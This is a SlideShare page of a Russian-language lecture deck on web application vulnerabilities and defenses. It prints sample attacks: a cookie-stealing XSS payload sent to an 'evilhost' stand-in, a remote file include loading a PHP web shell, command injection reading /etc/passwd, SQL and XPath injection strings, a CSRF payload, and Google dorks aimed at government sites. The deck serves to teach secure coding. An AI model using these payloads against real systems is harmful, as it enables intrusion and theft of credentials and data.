Безопасность веб-приложений.Так ли опасна виртуальная угроза?        Александр Татульченков        Пропагандист и популяри...
Источники проблем• Любители мнят себя профессионалами• Нацеленность на функциональность, а не  безопасность• Размер проект...
Дайте цифры• Жертвы атак• Последствия
Анализ безопасности• Что нужно защищать• От кого нужно защищать• Вероятность взлома и  последствия• Экономическая  целесоо...
Слои безопасности• Инфраструктура• Приложение
Аутентификация (Authentication)• Подбор (brute force)• Недостаточная  аутентификация (Insufficient  Authentication)• Небез...
Подбор (Brute force)Автоматизированный процесс проб иошибок, использующийся для того,чтобы угадать имя пользователя,пароль...
Недостаточная аутентификация                     (Insufficient Authentication)Эта уязвимость возникает, когда Web-сервер п...
Небезопасное восстановление паролей                  (Weak Password Recovery Validation)Эта уязвимость возникает, когда We...
Авторизация (Authorization)• Предсказуемое значение  идентификатора сессии  (Credential/Session Prediction)• Недостаточная...
Предсказуемое значение идентификатора сессии            (Credential/Session Prediction)Предсказуемое значениеидентификатор...
Недостаточная авторизация                    (Insufficient Authorization)Недостаточная авторизация возникает,когда Web-сер...
Отсутствие таймаута сессии                   (Insufficient Session Expiration)В случае если дляидентификатора сессии илиуч...
Фиксация сессии (Session Fixation)Используя данный класс атак, злоумышленник присваивает идентификатору сессиипользователя...
Кража сессии (Session Hijacking)Используя данный класс атак,злоумышленник может украстьидентификатор сессиипользователя Ук...
Атаки на клиентов (Client-side Attacks)• Подмена содержимого (Content  Spoofing)• Межсайтовое выполнение сценариев  (Cross...
Подмена содержимого                           (Content Spoofing)Используя эту технику, злоумышленник заставляет пользовате...
Межсайтовое выполнение сценариев                        (Cross-site Scripting, XSS)Наличие уязвимости Cross-site Scripting...
ЗащитаКачественно фильтруйте пользовательские данные перед их выводом:•   Не забывайте про html теги и двойные кавычки• Ес...
Подделка межсайтовых запросов                        (Cross-site Request Forgery, CSRF)Вид атак на посетителей веб-сайтов,...
Расщепление HTTP-запроса                                  (HTTP Response Splitting)При использовании данной уязвимости зло...
Выполнение кода (Command Execution)•   Выполнение команд ОС (OS Commanding)•   Внедрение операторов SQL (SQL Injection)•  ...
Выполнение команд ОС                                   (OS Commanding)Атаки этого класса направлены на выполнение команд о...
Внедрение операторов SQL                              (SQL Injection)    $sql = "SELECT user FROM userslist WHERE userid="...
Внедрение операторов Xpath                           (Xpath Injection)Следующее выражение на языке XPath позволяетопредели...
Local File Include / Remote File IncludeНе так часто встречаются, но имеют место быть. Пример уязвимого кода:<?php $module...
Разглашение информации                  (Information Disclosure)• Индексирование директорий (Directory Indexing)• Идентифи...
Логические атаки (Logical Attacks)• Злоупотребление функциональными возможностями (Abuse of  Functionality)• Отказ в обслу...
Злоупотребление функциональными                    возможностями- Использования функций поиска для получения доступа к фай...
inurl:gov.ru inurl:php intext:errorМожно немножко конкретизировать под сообщение обошибке в MySQLinurl:gov.ge inurl:php in...
Nmap («NetworkMapper») это бесплатнаяутилита с открытымисходным кодом дляанализа сети и аудитабезопасности систем.Яростные...
очень много чего умеет,но нам от него нужнаодна из возможностей —определение, для какихсервисов есть эксплойты.Бесплатная ...
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Upcoming SlideShare
Loading in …5
×

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

2,704 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,704
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
25
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

  1. 1. Безопасность веб-приложений.Так ли опасна виртуальная угроза? Александр Татульченков Пропагандист и популяризатор php-джихада и медоед- стайл кодинга. Пишет SQL во вьюхах и несет $GLOBALS в массы.
  2. 2. Источники проблем• Любители мнят себя профессионалами• Нацеленность на функциональность, а не безопасность• Размер проекта превышает запланированный
  3. 3. Дайте цифры• Жертвы атак• Последствия
  4. 4. Анализ безопасности• Что нужно защищать• От кого нужно защищать• Вероятность взлома и последствия• Экономическая целесообразность
  5. 5. Слои безопасности• Инфраструктура• Приложение
  6. 6. Аутентификация (Authentication)• Подбор (brute force)• Недостаточная аутентификация (Insufficient Authentication)• Небезопасное восстановление паролей (Weak Password Recovery Validation)
  7. 7. Подбор (Brute force)Автоматизированный процесс проб иошибок, использующийся для того,чтобы угадать имя пользователя,пароль, номер кредитной карточки,ключ шифрования и т.д.
  8. 8. Недостаточная аутентификация (Insufficient Authentication)Эта уязвимость возникает, когда Web-сервер позволяет атакующемуполучать доступ к важнойинформации или функциям серверабез должной аутентификации
  9. 9. Небезопасное восстановление паролей (Weak Password Recovery Validation)Эта уязвимость возникает, когда Web-серверпозволяет атакующему несанкционированнополучать, модифицировать иливосстанавливать пароли другихпользователей
  10. 10. Авторизация (Authorization)• Предсказуемое значение идентификатора сессии (Credential/Session Prediction)• Недостаточная авторизация (Insufficient Authorization)• Отсутствие таймаута сессии (Insufficient Session Expiration)• Фиксация сессии (Session Fixation)• Кража сессии (Session Hijacking)
  11. 11. Предсказуемое значение идентификатора сессии (Credential/Session Prediction)Предсказуемое значениеидентификатора сессии позволяетперехватывать сессии другихпользователей
  12. 12. Недостаточная авторизация (Insufficient Authorization)Недостаточная авторизация возникает,когда Web-сервер позволяет атакующемуполучать доступ к важной информации илифункциям, доступ к которым должен бытьограничен
  13. 13. Отсутствие таймаута сессии (Insufficient Session Expiration)В случае если дляидентификатора сессии илиучетных данных непредусмотрен таймаут илиего значение слишкомвелико, злоумышленникможет воспользоватьсястарыми данными дляавторизации
  14. 14. Фиксация сессии (Session Fixation)Используя данный класс атак, злоумышленник присваивает идентификатору сессиипользователя заданное значение http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script> http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom"> <?php Последовательность атаки session_start(); •Установление сессии if (!isset($_SESSION[initiated])) { •Фиксация сессии session_regenerate_id(); •Подключение к сессии $_SESSION[initiated] = true; } ?>
  15. 15. Кража сессии (Session Hijacking)Используя данный класс атак,злоумышленник может украстьидентификатор сессиипользователя Указывайте домен и httpOnly
  16. 16. Атаки на клиентов (Client-side Attacks)• Подмена содержимого (Content Spoofing)• Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)• Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF)• Расщепление HTTP-запроса (HTTP Response Splitting)
  17. 17. Подмена содержимого (Content Spoofing)Используя эту технику, злоумышленник заставляет пользователя поверить, что страницысгенерированны Web-сервером, а не переданы из внешнего источникаhttp://example.com/?url=http://hacker-site.com/spoofed-content.html <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>"> </FRAMESET> </HTML> <script> if(top.self != window){ window.location = http://yoursite.com; } </script>
  18. 18. Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код,который будет перенаправлен браузеру пользователяПодвиды атаки1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводитсяна уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д.2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводитсяна страницу, сохранение на сервер не происходит.3. DOM скриптинг<script> var url = <img src = "http://evilhost.com/sniffer.php?cookie= + document.cookie + ">;document.write(url);</script>+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  19. 19. ЗащитаКачественно фильтруйте пользовательские данные перед их выводом:• Не забывайте про html теги и двойные кавычки• Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать нетолько кавычки, но и их html сущности ' ' &apos; и т.д.• Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, аследовательно эта с виду безобидная строка тоже уязвимость: <a href="javascript:alert(%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F);">lalala</a>• Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:)• Не забывайте что экранирования кавычек при выводе в теге script не достаточно•Также следует запретить использование протоколов javascript: и data: во всех ссылках.•Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемыйпользователем•Указывать кодировку до тега <title>
  20. 20. Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF)Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP.<script>function doit() {html = <img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ + ‘http://tvoydohod.com>; window.frames["frm"].document.body.innerHTML= html;}</script><iframe name="frm" onload="doit()" width="0" height="0"></iframe>Защита•Проверка referer•CSRT-token
  21. 21. Расщепление HTTP-запроса (HTTP Response Splitting)При использовании данной уязвимости злоумышленник посылает серверу специальным образомсформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа<?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?>HTTP/1.1 302 Moved Temporarily /index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0dDate: Sat, 02 Jun 2012 12:53:28 GMT %0aContent-Type:%20text/html%0d%0a ContentLength:Location: http://10.1.1.1/index.php?lang=English %201 9%0d%0a%0d%0a<html>Preved</html>Server: Apache 2 HTTP/1.1 302 Moved Temporarily271009 with Date: Wed, 24 Dec 2003 15:26:41 GMTContent-Type: text/html Location: http://10.1.1.1/index.php?lang=foobarSet-Cookie: Content-Length: 0PHPSID=1pMRZOiOQzZiE6Y6ii HTTP/1.1 200 OKApqwBE!-1251019693; path=/ Content-Type: text/htmlConnection: Close Content-Length: 19 <html>Preved</html>
  22. 22. Выполнение кода (Command Execution)• Выполнение команд ОС (OS Commanding)• Внедрение операторов SQL (SQL Injection)• Внедрение операторов XPath (XPath Injection)• LI / RI. Local Include, Remote Include
  23. 23. Выполнение команд ОС (OS Commanding)Атаки этого класса направлены на выполнение команд операционной системы на Web-серверепутем манипуляции входными даннымиhttp://example/directory.php?dir=%3Bcat%20/etc/passwd <?php exec("ls -la $dir",$lines,$rc); ?> Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.
  24. 24. Внедрение операторов SQL (SQL Injection) $sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET[uid]);Для проведения атаки на эту уязвимость от злоумышленника требуетсяпросто не использовать символы " x00 r n x1a в векторе атаки.Например:/index.php?uid=-777 UNION SELECT password FROM userlist• Mysql_real_escape_string• Prepared statements (PDO)
  25. 25. Внедрение операторов Xpath (Xpath Injection)Следующее выражение на языке XPath позволяетопределить номер счета пользователя "jsmith" с паролем "Demo1234":string(//user[name/text()=jsmith and password/text()=Demo1234]/account/text())Если ввести в качестве имени пользователя следующее выражение: or 1=1 or = то получим:string(//user[name/text()= or 1=1 or = and password/text()=foobar]/account/text())
  26. 26. Local File Include / Remote File IncludeНе так часто встречаются, но имеют место быть. Пример уязвимого кода:<?php $module = $_GET[module]; include($module); ?>Наглядный пример файловой инъекции. Как применить?http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwdГде файл phpshell.txt будет иметь подобное содержание<?php echo @`$_GET[c]` ?>
  27. 27. Разглашение информации (Information Disclosure)• Индексирование директорий (Directory Indexing)• Идентификация приложений (Web Server/Application Fingerprinting)• Утечка информации (Information Leakage)• Обратный путь в директориях (Path Traversal)• Предсказуемое расположение ресурсов (Predictable Resource Location)
  28. 28. Логические атаки (Logical Attacks)• Злоупотребление функциональными возможностями (Abuse of Functionality)• Отказ в обслуживании (Denial of Service).
  29. 29. Злоупотребление функциональными возможностями- Использования функций поиска для получения доступа к файлам за пределами корневойдиректории Web-сервера;- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации иливнедрения серверных сценариев;- Реализация отказа в обслуживании путем использования функции блокировки учетной записипри многократном вводе неправильного пароля.
  30. 30. inurl:gov.ru inurl:php intext:errorМожно немножко конкретизировать под сообщение обошибке в MySQLinurl:gov.ge inurl:php intext:sql syntaxВсе сразуinurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" |inurl:"UNION" | inurl:"AND" ) ) +intext:"root:x:0:0:root:/root:**"
  31. 31. Nmap («NetworkMapper») это бесплатнаяутилита с открытымисходным кодом дляанализа сети и аудитабезопасности систем.Яростные противникиконсоли могутиспользовать Zenmap,это GUI к Nmapу.Это не просто «умный»сканер, это серьезныйрасширяемыйинструмент. Типовойпример использования:nmap -A -T4 localhost
  32. 32. очень много чего умеет,но нам от него нужнаодна из возможностей —определение, для какихсервисов есть эксплойты.Бесплатная версияпродукта «home only»

×